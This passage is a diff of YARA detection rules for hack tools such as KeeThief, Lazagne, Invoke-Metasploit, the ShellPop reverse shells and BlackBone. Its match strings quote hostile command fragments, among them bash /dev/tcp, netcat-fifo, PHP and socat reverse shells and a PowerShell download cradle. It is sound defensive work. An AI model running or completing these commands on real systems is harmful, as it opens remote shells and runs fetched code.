+      hash1 = "5b3d6654e6d9dc49ee1136c0c8e8122cb0d284562447abfdc05dfe38c79f95bf"
+      id = "c749f883-364e-5f65-9eb8-3dcd74495f7c"
+   strings:
+      $s1 = "No users marked for attack or all marked users already have passwords found!" fullword ascii
+      $s2 = "%s\\PasswordsPro.ini.Dictionaries(%d)" fullword ascii
+      $s3 = "Passwords processed since attack start:" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and
+        filesize < 2000KB and
+         1 of them
+      )
+}
+
+rule PasswordPro_NTLM_DLL {
+   meta:
+      description = "Auto-generated rule - file NTLM.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "PasswordPro"
+      date = "2017-08-27"
+      hash1 = "47d4755d31bb96147e6230d8ea1ecc3065da8e557e8176435ccbcaea16fe50de"
+      id = "cc86b868-000f-56b1-91cd-4aa8caace1df"
+   strings:
+      $s1 = "NTLM.dll" fullword ascii
+      $s2 = "Algorithm: NTLM" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and
+        filesize < 20KB and
+        pe.exports("GetHash") and pe.exports("GetInfo") and
+        ( all of them )
+      )
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-08-29
+   Identifier: KeeTheft
+   Reference: https://github.com/HarmJ0y/KeeThief
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule KeeThief_PS {
+   meta:
+      description = "Detects component of KeeTheft - KeePass dump tool - file KeeThief.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/HarmJ0y/KeeThief"
+      date = "2017-08-29"
+      hash1 = "a3b976279ded8e64b548c1d487212b46b03aaec02cb6e199ea620bd04b8de42f"
+      id = "9a54e8d1-3cae-51e8-8da0-024ac25dc6d0"
+   strings:
+      $x1 = "$WMIProcess = Get-WmiObject win32_process -Filter \"ProcessID = $($KeePassProcess.ID)\"" fullword ascii
+      $x2 = "if($KeePassProcess.FileVersion -match '^2\\.') {" fullword ascii
+   condition:
+      ( uint16(0) == 0x7223 and
+        filesize < 1000KB and
+        ( 1 of ($x*) )
+      )
+}
+
+rule KeeTheft_EXE {
+   meta:
+      description = "Detects component of KeeTheft - KeePass dump tool - file KeeTheft.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/HarmJ0y/KeeThief"
+      date = "2017-08-29"
+      hash1 = "f06789c3e9fe93c165889799608e59dda6b10331b931601c2b5ae06ede41dc22"
+      id = "65531239-c5fa-5285-8f44-2d858e211c9b"
+   strings:
+      $x1 = "Error: Could not create a thread for the shellcode" fullword wide
+      $x2 = "Could not find address marker in shellcode" fullword wide
+      $x3 = "GenerateDecryptionShellCode" fullword ascii
+      $x4 = "KeePassLib.Keys.KcpPassword" fullword wide
+      $x5 = "************ Found a CompositeKey! **********" fullword wide
+      $x6 = "*** Interesting... there are multiple .NET runtimes loaded in KeePass" fullword wide
+      $x7 = "GetKcpPasswordInfo" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and 2 of them )
+}
+
+rule KeeTheft_Out_Shellcode {
+   meta:
+      description = "Detects component of KeeTheft - KeePass dump tool - file Out-Shellcode.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/HarmJ0y/KeeThief"
+      date = "2017-08-29"
+      hash1 = "2afb1c8c82363a0ae43cad9d448dd20bb7d2762aa5ed3672cd8e14dee568e16b"
+      id = "1263ad5d-5d50-50e6-ad78-9d5e4e16634b"
+   strings:
+      $x1 = "Write-Host \"Shellcode length: 0x$(($ShellcodeLength + 1).ToString('X4'))\"" fullword ascii
+      $x2 = "$TextSectionInfo = @($MapContents | Where-Object { $_ -match '\\.text\\W+CODE' })[0]" fullword ascii
+   condition:
+      ( filesize < 2KB and 1 of them )
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-09-23
+   Identifier: Sharpire
+   Reference: https://github.com/0xbadjuju/Sharpire
+*/
+
+rule Sharpire {
+   meta:
+      description = "Auto-generated rule - file Sharpire.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/0xbadjuju/Sharpire"
+      date = "2017-09-23"
+      modified = "2022-12-21"
+      hash1 = "327a1dc2876cd9d7f6a5b3777373087296fc809d466e42861adcf09986c6e587"
+      id = "747f2798-4f93-5073-b358-969060a1c937"
+   strings:
+      $x1 = "\\obj\\Debug\\Sharpire.pdb" ascii
+      $x2 = "[*] Upload of $fileName successful" fullword wide
+
+      $s1 = "no shell command supplied" fullword wide
+      $s2 = "/login/process.php" fullword wide
+      $s3 = "invokeShellCommand" fullword ascii
+      $s4 = "..Command execution completed." fullword wide
+      $s5 = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" fullword wide
+      $s6 = "/admin/get.php" fullword wide
+      $s7 = "[!] Error in stopping job: " fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and ( 1 of ($x*) and 3 of them ) )
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-09-23
+   Identifier: Invoke-Metasploit
+   Reference: https://github.com/jaredhaight/Invoke-MetasploitPayload/blob/master/Invoke-MetasploitPayload.ps1
+*/
+
+rule Invoke_Metasploit {
+   meta:
+      description = "Detects Invoke-Metasploit Payload"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/jaredhaight/Invoke-MetasploitPayload/blob/master/Invoke-MetasploitPayload.ps1"
+      date = "2017-09-23"
+      hash1 = "b36d3ca7073741c8a48c578edaa6d3b6a8c3c4413e961a83ad08ad128b843e0b"
+      id = "40452884-df3f-5b49-ad10-05006cb115f2"
+   strings:
+      $s1 = "[*] Looks like we're 64bit, using regular powershell.exe" ascii wide
+      $s2 = "[*] Kicking off download cradle in a new process"
+      $s3 = "Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+''');'"
+   condition:
+      ( filesize < 20KB and 1 of them )
+}
+
+rule PowerShell_Mal_HackTool_Gen {
+   meta:
+      description = "Detects PowerShell hack tool samples - generic PE loader"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-11-02"
+      hash1 = "d442304ca839d75b34e30e49a8b9437b5ab60b74d85ba9005642632ce7038b32"
+      id = "d1fc4594-d816-5d02-bff6-3f220477b555"
+   strings:
+      $x1 = "$PEBytes32 = 'TVqQAAMAAAAEAAAA" wide
+      $x2 = "Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp" fullword wide
+      $x3 = "@($PEBytes64, $PEBytes32, \"Void\", 0, \"\", $ExeArgs)" fullword wide
+      $x4 = "(Shellcode: LoadLibraryA.asm)" fullword wide
+   condition:
+      filesize < 8000KB and 1 of them
+}
+
+rule Sig_RemoteAdmin_1 {
+   meta:
+      description = "Detects strings from well-known APT malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-12-03"
+      score = 45
+      id = "da55084c-ec1f-5800-a614-189dce7b5820"
+   strings:
+      $ = "Radmin, Remote Administrator" wide
+      $ = "Radmin 3.0" wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 3000KB and 1 of them
+}
+
+rule RemCom_RemoteCommandExecution {
+   meta:
+      description = "Detects strings from RemCom tool"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tezXZt"
+      date = "2017-12-28"
+      score = 50
+      id = "90b4ce3c-a690-5b6e-95e8-7e5dc8270152"
+   strings:
+      $ = "\\\\.\\pipe\\%s%s%d"
+      $ = "%s\\pipe\\%s%s%d%s"
+      $ = "\\ADMIN$\\System32\\%s%s"
+   condition:
+      1 of them
+}
+
+rule Crackmapexec_EXE {
+   meta:
+      description = "Detects CrackMapExec hack tool"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-04-06"
+      score = 85
+      hash1 = "371f104b7876b9080c519510879235f36edb6668097de475949b84ab72ee9a9a"
+      id = "9fcfba98-7ba1-5810-99b7-62ad2b1aa4c0"
+   strings:
+      $s1 = "core.scripts.secretsdump(" ascii
+      $s2 = "core.scripts.samrdump(" ascii
+      $s3 = "core.uacdump(" ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 10000KB and 2 of them
+}
+
+rule SUSP_Imphash_PassRevealer_PY_EXE {
+   meta:
+      description = "Detects an imphash used by password revealer and hack tools (some false positives with hardware driver installers)"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-04-06"
+      modified = "2021-11-09"
+      score = 40
+      hash1 = "371f104b7876b9080c519510879235f36edb6668097de475949b84ab72ee9a9a"
+      id = "9462dfc4-2feb-591d-ac0c-ba02f093c216"
+   strings:
+      $fp1 = "Assmann Electronic GmbH" ascii wide
+      $fp2 = "Oculus VR" ascii wide
+      $fp3 = "efm8load" ascii /* Corsair software */
+   condition:
+      uint16(0) == 0x5a4d and filesize < 10000KB
+      and pe.imphash() == "ed61beebc8d019dd9bec823e2d694afd"
+      and not 1 of ($fp*)
+}
+
+rule MAL_Unknown_PWDumper_Apr18_3 {
+   meta:
+      description = "Detects sample from unknown sample set - IL origin"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-04-06"
+      hash1 = "d435e7b6f040a186efeadb87dd6d9a14e038921dc8b8658026a90ae94b4c8b05"
+      hash2 = "8c35c71838f34f7f7a40bf06e1d2e14d58d9106e6d4e6f6e9af732511a126276"
+      id = "2431d562-dcd8-5d21-8406-7d2567b6eca9"
+   strings:
+      $s1 = "loaderx86.dll" fullword ascii
+      $s2 = "tcpsvcs.exe" fullword wide
+      $s3 = "%Program Files, Common FOLDER%" fullword wide
+      $s4 = "%AllUsers, ApplicationData FOLDER%" fullword wide
+      $s5 = "loaderx86" fullword ascii
+      $s6 = "TNtDllHook$" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 3000KB and all of them
+}
+
+rule ProcessInjector_Gen : HIGHVOL {
+   meta:
+      description = "Detects a process injection utility that can be used ofr good and bad purposes"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/cuckoosandbox/monitor/blob/master/bin/inject.c"
+      date = "2018-04-23"
+      score = 60
+      hash1 = "456c1c25313ce2e2eedf24fdcd4d37048bcfff193f6848053cbb3b5e82cd527d"
+      id = "9b0b6ac7-8432-5f93-b389-c2356ec75113"
+   strings:
+      $x1 = "Error injecting remote thread in process:" fullword ascii
+      $s5 = "[-] Error getting access to process: %ld!" fullword ascii
+      $s6 = "--process-name <name>  Process name to inject" fullword ascii
+      $s12 = "No injection target has been provided!" fullword ascii
+      $s17 = "[-] An app path is required when not injecting!" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 50KB and (
+         pe.imphash() == "d27e0fa013d7ae41be12aaf221e41f9b" or
+         1 of them
+      ) or 3 of them
+}
+
+rule Lazagne_PW_Dumper {
+   meta:
+      description = "Detects Lazagne PW Dumper"
+      author = "Markus Neis / Florian Roth"
+      reference = "https://github.com/AlessandroZ/LaZagne/releases/"
+      date = "2018-03-22"
+      score = 70
+      id = "1904029e-9336-5278-ae2e-4bc853316600"
+   strings:
+      $s1 = "Crypto.Hash" fullword ascii
+      $s2 = "laZagne" fullword ascii
+      $s3 = "impacket.winregistry" fullword ascii
+   condition:
+      3 of them
+}
+
+rule HKTL_shellpop_TCLsh {
+   meta:
+      description = "Detects suspicious TCLsh popshell"
+      author = "Tobias Michalski"
+      reference = "https://github.com/0x00-0x00/ShellPop"
+      date = "2018-05-18"
+      hash1 = "9f49d76d70d14bbe639a3c16763d3b4bee92c622ecb1c351cb4ea4371561e133"
+      id = "24f6b626-383e-54c9-abd4-bd67c37af937"
+   strings:
+      $s1 = "{ puts -nonewline $s \"shell>\";flush $s;gets $s c;set e \"exec $c\";if" ascii
+   condition:
+      filesize < 1KB and 1 of them
+}
+
+rule HKTL_shellpop_ruby {
+   meta:
+      description = "Detects suspicious ruby shellpop"
+      author = "Tobias Michalski"
+      reference = "https://github.com/0x00-0x00/ShellPop"
+      date = "2018-05-18"
+      hash1 = "6b425b37f3520fd8c778928cc160134a293db0ce6d691e56a27894354b04f783"
+      id = "cb3a93d5-02a1-5a49-b37e-3f9312b993ea"
+   strings:
+      $x1 = ");while(cmd=c.gets);IO.popen(cmd,'r'){" ascii
+   condition:
+      filesize < 1KB and all of them
+}
+
+rule HKTL_shellpop_awk {
+   meta:
+      description = "Detects suspicious AWK Shellpop"
+      author = "Tobias Michalski"
+      reference = "https://github.com/0x00-0x00/ShellPop"
+      date = "2018-05-18"
+      hash1 = "7513a0a0ba786b0e22a9a7413491b4011f60af11253c596fa6857fb92a6736fc"
+      id = "92d1e6dd-d758-5df2-b5e5-eb275964551d"
+   strings:
+      $s1 = "awk 'BEGIN {s = \"/inet/tcp/0/" ascii
+      $s2 = "; while(42) " ascii
+   condition:
+      filesize < 1KB and 1 of them
+}
+
+rule HKTL_shellpop_Netcat_UDP {
+   meta:
+      description = "Detects suspicious netcat popshell"
+      author = "Tobias Michalski"
+      reference = "https://github.com/0x00-0x00/ShellPop"
+      date = "2018-05-18"
+      hash1 = "d823ad91b315c25893ce8627af285bcf4e161f9bbf7c070ee2565545084e88be"
+      id = "67aa53b6-00bc-5d2e-b6f3-37e9121cdd01"
+   strings:
+      $s1 = "mkfifo fifo ; nc.traditional -u" ascii
+      $s2 = "< fifo | { bash -i; } > fifo" fullword ascii
+   condition:
+      filesize < 1KB and 1 of them
+}
+
+rule HKTL_shellpop_socat {
+   meta:
+      description = "Detects suspicious socat popshell"
+      author = "Tobias Michalski"
+      reference = "https://github.com/0x00-0x00/ShellPop"
+      date = "2018-05-18"
+      hash1 = "267f69858a5490efb236628260b275ad4bbfeebf4a83fab8776e333ca706a6a0"
+      id = "23c331ba-217c-5b17-b45e-d553eea76a56"
+   strings:
+      $s1 = "socat tcp-connect" ascii
+      $s2 = ",pty,stderr,setsid,sigint,sane" ascii
+   condition:
+      filesize < 1KB and 2 of them
+}
+
+rule HKTL_shellpop_Perl {
+   meta:
+      description = "Detects Shellpop Perl script"
+      author = "Tobias Michalski"
+      reference = "https://github.com/0x00-0x00/ShellPop"
+      date = "2018-05-18"
+      hash1 = "32c3e287969398a070adaad9b819ee9228174c9cb318d230331d33cda51314eb"
+      id = "d597d213-a70b-5412-adde-791b4d498848"
+   strings:
+      $ = "perl -e 'use IO::Socket::INET;$|=1;my ($s,$r);" ascii
+      $ = ";STDIN->fdopen(\\$c,r);$~->fdopen(\\$c,w);s" ascii
+   condition:
+      filesize < 2KB and 1 of them
+}
+
+rule HKTL_shellpop_Python {
+   meta:
+      description = "Detects malicious python shell"
+      author = "Tobias Michalski"
+      reference = "https://github.com/0x00-0x00/ShellPop"
+      date = "2018-05-18"
+      hash1 = "aee1c9e45a1edb5e462522e266256f68313e2ff5956a55f0a84f33bc6baa980b"
+      id = "62fe0ae9-422e-5021-8a67-e88ff4bd2cf3"
+   strings:
+      $ = "os.putenv('HISTFILE', '/dev/null');" ascii
+   condition:
+      filesize < 2KB and 1 of them
+}
+
+rule HKTL_shellpop_PHP_TCP {
+   meta:
+      description = "Detects malicious PHP shell"
+      author = "Tobias Michalski"
+      reference = "https://github.com/0x00-0x00/ShellPop"
+      date = "2018-05-18"
+      hash1 = "0412e1ab9c672abecb3979a401f67d35a4a830c65f34bdee3f87e87d060f0290"
+      id = "3bafc225-62e5-5183-84aa-9c3406b6c444"
+   strings:
+      $x1 = "php -r \"\\$sock=fsockopen" ascii
+      $x2 = ";exec('/bin/sh -i <&3 >&3 2>&3');\"" ascii
+   condition:
+      filesize < 3KB and all of them
+}
+
+rule HKTL_shellpop_Powershell_TCP {
+   meta:
+      description = "Detects malicious powershell"
+      author = "Tobias Michalski"
+      reference = "https://github.com/0x00-0x00/ShellPop"
+      date = "2018-05-18"
+      hash1 = "8328806700696ffe8cc37a0b81a67a6e9c86bb416364805b8aceaee5db17333f"
+      id = "4f3a92db-f686-559a-9588-fb79f423c51f"
+   strings:
+      $ = "Something went wrong with execution of command on the target" ascii
+      $ = ";[byte[]]$bytes = 0..65535|%{0};$sendbytes =" ascii
+   condition:
+      filesize < 3KB and 1 of them
+}
+
+rule SUSP_Powershell_ShellCommand_May18_1 {
+   meta:
+      description = "Detects a supcicious powershell commandline"
+      author = "Tobias Michalski"
+      reference = "https://github.com/0x00-0x00/ShellPop"
+      date = "2018-05-18"
+      hash1 = "8328806700696ffe8cc37a0b81a67a6e9c86bb416364805b8aceaee5db17333f"
+      id = "efa81fd0-b764-5a1a-98a5-fc3135be220b"
+   strings:
+      $x1 = "powershell -nop -ep bypass -Command" ascii
+   condition:
+      filesize < 3KB and 1 of them
+
+}
+
+rule HKTL_shellpop_Telnet_TCP {
+   meta:
+      description = "Detects malicious telnet shell"
+      author = "Tobias Michalski"
+      reference = "https://github.com/0x00-0x00/ShellPop"
+      date = "2018-05-18"
+      hash1 = "cf5232bae0364606361adafab32f19cf56764a9d3aef94890dda9f7fcd684a0e"
+      id = "dbd5cc65-c6f1-54f3-813f-7a7f9bcca184"
+   strings:
+      $x1 = "if [ -e /tmp/f ]; then rm /tmp/f;" ascii
+      $x2 = "0</tmp/f|/bin/bash 1>/tmp/f" fullword ascii
+   condition:
+      filesize < 3KB and 1 of them
+}
+
+rule SUSP_shellpop_Bash {
+   meta:
+      description = "Detects susupicious bash command"
+      author = "Tobias Michalski"
+      reference = "https://github.com/0x00-0x00/ShellPop"
+      date = "2018-05-18"
+      hash1 = "36fad575a8bc459d0c2e3ad626e97d5cf4f5f8bedc56b3cc27dd2f7d88ed889b"
+      id = "ea9c2491-8b25-5ba4-9968-22a45d6e6491"
+   strings:
+      $ = "/bin/bash -i >& /dev/tcp/" ascii
+   condition:
+      1 of them
+}
+
+rule HKTL_shellpop_netcat {
+   meta:
+      description = "Detects suspcious netcat shellpop"
+      author = "Tobias Michalski"
+      reference = "https://github.com/0x00-0x00/ShellPop"
+      date = "2018-05-18"
+      hash1 = "98e3324f4c096bb1e5533114249a9e5c43c7913afa3070488b16d5b209e015ee"
+      id = "cd55e912-b57b-5fce-98eb-5a0cd27a6e4d"
+   strings:
+      $s1 = "if [ -e /tmp/f ]; then rm /tmp/f;"  ascii
+      $s2 = "fi;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc" ascii
+      $s4 = "mknod /tmp/f p && nc" ascii
+      $s5 = "</tmp/f|/bin/bash 1>/tmp/f"  ascii
+    condition:
+      filesize < 2KB and 1 of them
+}
+
+
+rule HKTL_beRootexe {
+   meta:
+      description = "Detects beRoot.exe which checks common Windows missconfigurations"
+      author = "yarGen Rule Generator"
+      reference = "https://github.com/AlessandroZ/BeRoot/tree/master/Windows"
+      date = "2018-07-25"
+      hash1 = "865b3b8ec9d03d3475286c3030958d90fc72b21b0dca38e5bf8e236602136dd7"
+      id = "b91c2e0b-2e47-5339-bf48-eaa8329ea63b"
+   strings:
+      $s1 = "checks.webclient.secretsdump(" ascii
+      $s2 = "beroot.modules" fullword ascii
+      $s3 = "beRoot.exe.manifest" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and
+        filesize < 18000KB and
+        1 of them)
+}
+
+rule HKTL_beRootexe_output {
+   meta:
+      description = "Detects the output of beRoot.exe"
+      author = "Tobias Michalski"
+      reference = "https://github.com/AlessandroZ/BeRoot/tree/master/Windows"
+      date = "2018-07-25"
+      id = "dfd11915-443f-5ce9-b94a-bdcb0e62104e"
+   strings:
+      $s1 = "permissions: {'change_config'" fullword wide
+      $s2 = "Full path: C:\\Windows\\system32\\msiexec.exe /V" fullword wide
+      $s3 = "Full path: C:\\Windows\\system32\\svchost.exe -k DevicesFlow" fullword wide
+      $s4 = "! BANG BANG !" fullword wide
+   condition:
+      filesize < 400KB and 3 of them
+}
+
+rule HKTL_EmbeddedPDF {
+   meta:
+      description = "Detects Embedded PDFs which can start malicious content"
+      author = "Tobias Michalski"
+      reference = "https://twitter.com/infosecn1nja/status/1021399595899731968?s=12"
+      date = "2018-07-25"
+      id = "d4e2d878-fb75-54c5-9879-fe94102911d1"
+   strings:
+      $x1 = "/Type /Action\n /S /JavaScript\n /JS (this.exportDataObject({" fullword ascii
+
+      $s1 = "(This PDF document embeds file" fullword ascii
+      $s2 = "/Names << /EmbeddedFiles << /Names" fullword ascii
+      $s3 = "/Type /EmbeddedFile" fullword ascii
+
+   condition:
+      uint16(0) == 0x5025 and
+      2 of ($s*) and $x1
+}
+
+rule HTKL_BlackBone_DriverInjector {
+   meta:
+      description = "Detects BlackBone Driver injector"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/DarthTon/Blackbone"
+      date = "2018-09-11"
+      score = 60
+      hash1 = "8062a4284c719412270614458150cb4abbdf77b2fc35f770ce9c45d10ccb1f4d"
+      hash2 = "2d2fc27200c22442ac03e2f454b6e1f90f2bbc17017f05b09f7824fac6beb14b"
+      hash3 = "e45da157483232d9c9c72f44b13fca2a0d268393044db00104cc1afe184ca8d1"
+      id = "0d992a6c-c57a-5895-af0d-9c167d922601"
+   strings:
+      $s1 = "=INITtH=PAGEtA" fullword ascii
+      $s2 = "BBInjectDll" fullword ascii
+      $s3 = "LdrLoadDll" fullword ascii
+      $s4 = "\\??\\pipe\\%ls" fullword wide
+      $s5 = "Failed to retrieve Kernel base address. Aborting" fullword ascii
+
+      $x2 = "BlackBone: %s: APC injection failed with status 0x%X" fullword ascii
+      $x3 = "BlackBone: PDE_BASE/PTE_BASE not found " fullword ascii
+      $x4 = "%s: Invalid injection type specified - %d" fullword ascii
+      $x6 = "Trying to map C:\\windows\\system32\\cmd.exe into current process" fullword wide
+      $x7 = "\\BlackBoneDrv\\bin\\" ascii
+      $x8 = "DosDevices\\BlackBone" wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 8000KB and ( 3 of them or 1 of ($x*) )
+}
+
+rule HKTL_SqlMap {
+   meta:
+      description = "Detects sqlmap hacktool"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/sqlmapproject/sqlmap"
+      date = "2018-10-09"
+      hash1 = "9444478b03caf7af853a64696dd70083bfe67f76aa08a16a151c00aadb540fa8"
+      id = "da2029dd-c4ce-557f-a409-c468fa3deef3"
+   strings:
+      $x1 = "if cmdLineOptions.get(\"sqlmapShell\"):" fullword ascii
+      $x2 = "if conf.get(\"dumper\"):" fullword ascii
+   condition:
+      filesize < 50KB and 1 of them
+}
+
+rule HKTL_SqlMap_backdoor {
+   meta:
+      description = "Detects SqlMap backdoors"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/sqlmapproject/sqlmap"
+      date = "2018-10-09"
+      id = "bf09caac-cf15-5936-b5b4-df4f28788961"
+   condition:
+      ( uint32(0) == 0x8e859c07 or
+         uint32(0) == 0x2d859c07 or
+         uint32(0) == 0x92959c07 or
+         uint32(0) == 0x929d9c07 or
+         uint32(0) == 0x29959c07 or
+         uint32(0) == 0x2b8d9c07 or
+         uint32(0) == 0x2b859c07 or
+         uint32(0) == 0x28b59c07 ) and filesize < 2KB
+}
+
+rule HKTL_Lazagne_PasswordDumper_Dec18_1 {
+   meta:
+      description = "Detects password dumper Lazagne often used by middle eastern threat groups"
+      author = "Florian Roth (Nextron Systems)"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      reference = "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group"
+      date = "2018-12-11"
+      score = 85
+      hash1 = "1205f5845035e3ee30f5a1ced5500d8345246ef4900bcb4ba67ef72c0f79966c"
+      hash2 = "884e991d2066163e02472ea82d89b64e252537b28c58ad57d9d648b969de6a63"
+      hash3 = "bf8f30031769aa880cdbe22bc0be32691d9f7913af75a5b68f8426d4f0c7be50"
+      id = "bae48a4d-33b6-55b9-abf5-daf87e5da9e9"
+   strings:
+      $s1 = "softwares.opera(" ascii
+      $s2 = "softwares.mozilla(" ascii
+      $s3 = "config.dico(" ascii
+      $s4 = "softwares.chrome(" ascii
+      $s5 = "softwares.outlook(" ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 17000KB and 1 of them
+}
+
+rule HKTL_Lazagne_Gen_18 {
+   meta:
+      description = "Detects Lazagne password extractor hacktool"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/AlessandroZ/LaZagne"
+      license = "https://creativecommons.org/licenses/by-nc/4.0/"
+      date = "2018-12-11"
+      score = 80
+      hash1 = "51121dd5fbdfe8db7d3a5311e3e9c904d644ff7221b60284c03347938577eecf"
+      id = "034ea6d8-f5cf-5664-9ff9-24d19403093d"
+   strings:
+      $x1 = "lazagne.config.powershell_execute(" ascii
+      $x2 = "creddump7.win32." ascii
+      $x3 = "lazagne.softwares.windows.hashdump" ascii
+      $x4 = ".softwares.memory.libkeepass.common(" ascii
+   condition:
+      2 of them
+}
+
+rule HKTL_NoPowerShell {
+   meta:
+      description = "Detects NoPowerShell hack tool"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/bitsadmin/nopowershell"
+      date = "2018-12-28"
+      modified = "2022-12-21"
+      hash1 = "2dad091dd00625762a7590ce16c3492cbaeb756ad0e31352a42751deb7cf9e70"
+      id = "17d508d5-833f-5232-a071-dbed8758493b"
+   strings:
+      $x1 = "\\NoPowerShell.pdb" ascii
+      $x2 = "Invoke-WmiMethod -Class Win32_Process -Name Create \"cmd" fullword wide
+      $x3 = "ls C:\\Windows\\System32 -Include *.exe | select -First 10 Name,Length" fullword wide
+      $x4 = "ls -Recurse -Force C:\\Users\\ -Include *.kdbx" fullword wide
+      $x5 = "NoPowerShell.exe" fullword wide
+   condition:
+      1 of them
+}
+rule HKTL_htran_go {
+   meta:
+      author = "Jeff Beley"
+      hash1 = "4acbefb9f7907c52438ebb3070888ddc8cddfe9e3849c9d0196173a422b9035f"
+      description = "Detects go based htran variant"
+      date = "2019-01-09"
+      id = "bd9409e3-3d4c-57d6-af60-b6d6bd93d46b"
+   strings:
+      $s1 = "https://github.com/cw1997/NATBypass" fullword ascii
+      $s2 = "-slave ip1:port1 ip2:port2" fullword ascii
+      $s3 = "-tran port1 ip:port2" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 7000KB and 1 of them
+}
+
+rule SUSP_Katz_PDB {
+   meta:
+      description = "Detects suspicious PDB in file"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2019-02-04"
+      hash1 = "6888ce8116c721e7b2fc3d7d594666784cf38a942808f35e309a48e536d8e305"
+      id = "79f4f07c-b234-5203-a2ab-aba4a9cb9f8d"
+   strings:
+      $s1 = /\\Release\\[a-z]{0,8}katz.pdb/
+      $s2 = /\\Debug\\[a-z]{0,8}katz.pdb/
+   condition:
+      uint16(0) == 0x5a4d and filesize < 6000KB and all of them
+}
+
+rule HKTL_LNX_Pnscan {
+   meta:
+      description = "Detects Pnscan port scanner"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/ptrrkssn/pnscan"
+      date = "2019-05-27"
+      score = 55
+      id = "46c6c0d9-08bb-5de3-ad14-c1a7ab0542c6"
+   strings:
+      $x1 = "-R<hex list>   Hex coded response string to look for." fullword ascii
+      $x2 = "This program implements a multithreaded TCP port scanner." ascii wide
+   condition:
+      filesize < 6000KB and 1 of them
+}
+
+rule PAExec {
+   meta:
+      description = "Detects remote access tool PAEXec (like PsExec) - file PAExec.exe"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://researchcenter.paloaltonetworks.com/2017/03/unit42-shamoon-2-delivering-disttrack/"
+      date = "2017-03-27"
+      score = 40
+      hash1 = "01a461ad68d11b5b5096f45eb54df9ba62c5af413fa9eb544eacb598373a26bc"
+      id = "ee564534-b921-5639-a7ed-5da79d6bf86a"
+   strings:
+      $x1 = "Ex: -rlo C:\\Temp\\PAExec.log" fullword ascii
+      $x2 = "Can't enumProcesses - Failed to get token for Local System." fullword wide
+      $x3 = "PAExec %s - Execute Programs Remotely" fullword wide
+      $x4 = "\\\\%s\\pipe\\PAExecIn%s%u" fullword wide
+      $x5 = "\\\\.\\pipe\\PAExecIn%s%u" fullword wide
+      $x6 = "%%SystemRoot%%\\%s.exe" fullword wide
+      $x7 = "in replacement for PsExec, so the command-line usage is identical, with " fullword ascii
+      $x8 = "\\\\%s\\ADMIN$\\PAExec_Move%u.dat" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 600KB and 1 of ($x*) ) or ( 3 of them )
+}
+
+rule HKTL_DomainPasswordSpray {
+   meta:
